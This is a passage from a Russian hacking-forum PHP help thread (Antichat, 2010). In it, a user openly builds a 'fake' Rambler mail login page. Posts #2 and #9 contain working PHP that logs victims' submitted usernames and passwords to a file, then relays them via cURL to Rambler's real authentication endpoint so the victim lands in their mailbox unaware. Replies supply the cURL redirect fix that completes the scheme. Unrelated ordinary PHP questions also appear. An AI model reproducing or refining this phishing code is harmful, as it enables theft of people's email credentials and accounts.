HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.01.2010, 20:12
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
С нами: 11278406

Репутация: 818


По умолчанию

Гугли "прозрачность на gd2"
 
Ответить с цитированием

  #2  
Старый 14.01.2010, 02:52
Mil-Net
Познающий
Регистрация: 24.05.2009
Сообщений: 44
С нами: 8929390

Репутация: 33
Post

Здраствуйте!

PHP код:
<?php  $f=fopen("pass.log","at");
flock($f,2);  
fputs($f,"Логин: ".$_POST['login']."\n");  
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");  
flock($f,3);  fclose($f);  
?>  
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">  
<input type="hidden" name="from" value="">  
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">  
<input type="hidden" name="url" value="">  
<input type="text" name="login" id="login" value="<?php echo $login ?>">  
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">  
</form>  
<script>  
setTimeout(document.getElementById('send').submit(),5);  
</script>

Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать

PHP код:
if ($login == 'login',$passw == 'passw')  
{  
echo 
"Правильный пароль";  
}  
else  
{  
echo 
"Не правильный пароль";  

Для понятия пишу Фейк с авторизацией!

Заранее благодарен)

Последний раз редактировалось Mil-Net; 14.01.2010 в 02:56..
 
Ответить с цитированием

  #3  
Старый 14.01.2010, 06:51
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Цитата:
Сообщение от Mil-Net  
Здраствуйте!

PHP код:
<?php  $f=fopen("pass.log","at");
flock($f,2);  
fputs($f,"Логин: ".$_POST['login']."\n");  
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");  
flock($f,3);  fclose($f);  
?>  
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">  
<input type="hidden" name="from" value="">  
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">  
<input type="hidden" name="url" value="">  
<input type="text" name="login" id="login" value="<?php echo $login ?>">  
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">  
</form>  
<script>  
setTimeout(document.getElementById('send').submit(),5);  
</script>

Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать

PHP код:
if ($login == 'login',$passw == 'passw')  
{  
echo 
"Правильный пароль";  
}  
else  
{  
echo 
"Не правильный пароль";  

Для понятия пишу Фейк с авторизацией!

Заранее благодарен)
Наверное потом,что стоит почитать как на PHP работать с удаленными серверами.Это делаеться не при помощи кнопок,а например cURL.Копайте в сторону сокетов,курлов, file_get_contents();.
 
Ответить с цитированием

  #4  
Старый 14.01.2010, 11:20
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Так,всем как всегда привет.На этот раз я заскочил вот с каким вопросом:
Все вы знаете,что если на античате например открыть сообщение отдельно,то у ТС заместо Провел на форуме: будет микровремя.так вот вопрос,как перевести опять в тот же стандарт.Тоесть имеем:
PHP код:
$time 4668725
Нужно получить: 1 месяц 3 недели 3 дня
 
Ответить с цитированием

  #5  
Старый 14.01.2010, 11:40
GlooK
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
С нами: 10030823

Репутация: 149
По умолчанию

Цитата:
PHP код:
$time 4668725
Нужно получить: 1 месяц 3 недели 3 дня
PHP код:
$time 4668725;
$totaldays = (int)($time 86400); // секунды => дни
$month = (int)($totaldays 30); // месяца
$lostdays $totaldays 30// остаток дней
$weeks = (int)($lostdays 7); // недель
$days $weeks 7// дней
echo $month.' мес. '.$weeks.' нед. '.$days.' дн.'
Без склонений слов.
 
Ответить с цитированием

  #6  
Старый 14.01.2010, 15:52
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Цитата:
Сообщение от GlooK  
PHP код:
$time 4668725;
$totaldays = (int)($time 86400); // секунды => дни
$month = (int)($totaldays 30); // месяца
$lostdays $totaldays 30// остаток дней
$weeks = (int)($lostdays 7); // недель
$days $weeks 7// дней
echo $month.' мес. '.$weeks.' нед. '.$days.' дн.'
Без склонений слов.
Спасибо,но помоему есть ф-ция в которая делает это автоматически.Пойду гуглить
 
Ответить с цитированием

  #7  
Старый 14.01.2010, 14:03
Freakazoitt
Познающий
Регистрация: 02.06.2008
Сообщений: 35
С нами: 9442459

Репутация: 5
По умолчанию

Есть вот такой кусок кода:

Код:
Код:
$user=$row['nick'];
if (preg_match("/me", $msg, $msg_1))
{
$msg=str_replace ("/me","<i>".$user."",$msg);
$user="";
}
он не работает на второй строчке

надо: Если строка $msg начинается на "/me" то выполнить действие ниже
 
Ответить с цитированием

  #8  
Старый 14.01.2010, 16:03
Deathdreams
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
С нами: 9213376

Репутация: 278
По умолчанию

Цитата:
Сообщение от Freakazoitt  
Есть вот такой кусок кода:

Код:
Код:
$user=$row['nick'];
if (preg_match("/me", $msg, $msg_1))
{
$msg=str_replace ("/me","<i>".$user."",$msg);
$user="";
}
он не работает на второй строчке

надо: Если строка $msg начинается на "/me" то выполнить действие ниже
Код:
$user = $row['nick'];

if (preg_match("/^\/me/i", $msg))  {

$msg = str_replace ( "/me", "<i>".$user, $msg );
$user = "";

                    }
 
Ответить с цитированием

  #9  
Старый 14.01.2010, 20:13
Mil-Net
Познающий
Регистрация: 24.05.2009
Сообщений: 44
С нами: 8929390

Репутация: 33
По умолчанию

Продолжаю вчерашний вопрос...

PHP код:
<?php
 
function rambler_login($login,$passw)  
{  
$login urlencode($login);  
$passw urlencode($passw);

$ch curl_init ();

curl_setopt $ch CURLOPT_URL "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt $ch CURLOPT_HEADER );

curl_setopt($chCURLOPT_POSTFIELDS"login=$login&passw=$passw");
    
$res curl_exec($ch);

curl_close $ch );

if(
preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s))  
return 
$s[1];  
else return 
false;  
}  

$email $_POST['login']; 
$password $_POST['passw']; 


if(!
rambler_login($email$password)) { 
        echo 
$res
    } else { 
        echo 
"<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>"
     
}

?>
Все работает,но при вводе правильного логина и пароля выдается такое содиржание страницы:

Moved
The document has moved here.

При нажатии на here успешно авторизуется на ящике!
Так вот вопрос следующего содержания
Как автоматом переходить в ящик без вывода

Moved
The document has moved here.
 
Ответить с цитированием

  #10  
Старый 14.01.2010, 20:16
GlooK
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
С нами: 10030823

Репутация: 149
По умолчанию

Цитата:
Сообщение от Mil-Net  
Продолжаю вчерашний вопрос...

Все работает,но при вводе правильного логина и пароля выдается такое содиржание страницы:

Moved
The document has moved here.

При нажатии на here успешно авторизуется на ящике!
Так вот вопрос следующего содержания
Как автоматом переходить в ящик без вывода

Moved
The document has moved here.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.